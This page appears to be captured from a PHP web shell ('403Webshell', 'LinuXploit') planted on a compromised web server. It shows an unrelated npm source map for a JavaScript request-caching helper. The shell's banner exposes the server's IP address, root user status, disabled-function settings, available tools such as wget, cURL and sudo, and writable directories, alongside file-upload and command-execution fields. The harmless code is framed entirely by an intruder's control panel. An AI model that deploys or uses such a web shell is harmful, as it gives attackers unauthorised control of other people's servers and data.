403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/shims/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/shims/cache-for-request.js.map
{"version":3,"file":"cache-for-request.js","names":[],"sources":["../../src/shims/cache-for-request.ts"],"sourcesContent":["/**\n * Cache a factory function's result for the duration of a request.\n *\n * Returns a function that lazily invokes the factory on first call within\n * a request, then returns the cached result for all subsequent calls in\n * the same request. Each new request gets a fresh invocation.\n *\n * The factory function's identity (reference) is the cache key — no\n * string keys, no collision risk between modules.\n *\n * Async factories are supported: the returned Promise is cached, so\n * concurrent `await` calls within the same request share one invocation.\n * If the Promise rejects, the cached entry is cleared so the next call\n * can retry.\n *\n * Outside a request scope (tests, build-time), the factory runs every\n * time with no caching — safe and predictable.\n *\n * @example\n * ```ts\n * import { cacheForRequest } from \"vinext/cache\";\n *\n * const getPrisma = cacheForRequest(() => {\n *   const pool = new Pool({ connectionString: env.HYPERDRIVE.connectionString });\n *   return new PrismaClient({ adapter: new PrismaPg(pool) });\n * });\n *\n * // In a route handler or server component:\n * const prisma = getPrisma(); // first call creates, subsequent calls reuse\n * ```\n *\n * @example\n * ```ts\n * // Async factory — Promise is cached, not re-invoked.\n * // If it rejects, the cache is cleared for retry.\n * const getDb = cacheForRequest(async () => {\n *   const pool = new Pool({ connectionString });\n *   await pool.connect();\n *   return drizzle(pool);\n * });\n *\n * const db = await getDb();\n * ```\n *\n * @module\n */\n\nimport { getRequestContext, isInsideUnifiedScope } from \"./unified-request-context.js\";\n\n/**\n * Create a request-scoped cached version of a factory function.\n *\n * @param factory - Function that creates the value. Called once per request for sync\n *   factories. Async factories that reject have their cache cleared, allowing retry.\n * @returns A function with the same return type that caches the result per request.\n */\nexport function cacheForRequest<T>(factory: () => T): () => T {\n  return (): T => {\n    if (!isInsideUnifiedScope()) {\n      return factory();\n    }\n\n    const ctx = getRequestContext();\n    const cache = ctx.requestCache;\n\n    if (cache.has(factory)) {\n      return cache.get(factory) as T;\n    }\n\n    const value = factory();\n\n    // For async factories: if the Promise rejects, clear the cached entry\n    // so subsequent calls within the same request can retry.\n    if (value instanceof Promise) {\n      cache.set(factory, value);\n      (value as Promise<unknown>).catch(() => {\n        // Only clear if the cached value is still this exact Promise\n        // (avoids clearing a newer retry's value).\n        if (cache.get(factory) === value) {\n          cache.delete(factory);\n        }\n      });\n    } else {\n      cache.set(factory, value);\n    }\n\n    return value;\n  };\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAwDA,SAAgB,gBAAmB,SAA2B;CAC5D,aAAgB;EACd,IAAI,CAAC,sBAAsB,EACzB,OAAO,SAAS;EAIlB,MAAM,QADM,mBACK,CAAC;EAElB,IAAI,MAAM,IAAI,QAAQ,EACpB,OAAO,MAAM,IAAI,QAAQ;EAG3B,MAAM,QAAQ,SAAS;EAIvB,IAAI,iBAAiB,SAAS;GAC5B,MAAM,IAAI,SAAS,MAAM;GACzB,MAA4B,YAAY;IAGtC,IAAI,MAAM,IAAI,QAAQ,KAAK,OACzB,MAAM,OAAO,QAAQ;KAEvB;SAEF,MAAM,IAAI,SAAS,MAAM;EAG3B,OAAO"}

Youez - 2016 - github.com/yon3zu
LinuXploit